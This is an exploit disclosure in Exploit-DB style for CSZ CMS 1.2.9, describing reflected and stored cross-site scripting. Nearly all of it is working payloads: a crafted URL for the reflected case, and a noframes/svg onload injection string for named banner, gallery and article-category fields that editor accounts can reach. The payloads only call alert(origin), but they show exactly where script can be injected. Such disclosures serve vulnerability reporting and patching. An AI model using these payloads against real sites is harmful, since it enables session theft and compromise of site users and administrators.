# Exploit Title: CSZ CMS 1.2.9 - Multiple Cross-Site Scripting
# Date: 2020/12/28
# Exploit Author: SunCSR
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://github.com/cskaza/cszcms
# Version: 1.2.9
# Tested on: CSZ CMS 1.2.9
1. Reflected XSS
Go to url http://localhost/pluginabc%22%2Dalert%28origin%29%2D%22abc
<http://localhost/pluginabc%22-alert%28origin%29-%22abc>
2. Stored XSS
Use an editor account with rights to manage banners, plugins.
+ Banner Manager:
- Add or edit banner:
Name field: <noframes><p title="</noframes><svg/onload=alert(origin)>">
Note field: <noframes><p title="</noframes><svg/onload=alert(origin)>">
+ Plugin Manager:
- Add or edit album(/admin/plugin/gallery):
Album Name field: <noframes><p
title="</noframes><svg/onload=alert(origin)>">
Keyword field: <noframes><p title="</noframes><svg/onload=alert(origin)>">
Short Description field: <noframes><p
title="</noframes><svg/onload=alert(origin)>">
- Add or edit Category(/admin/plugin/article/):
Category Name field: <noframes><p
title="</noframes><svg/onload=alert(origin)>">
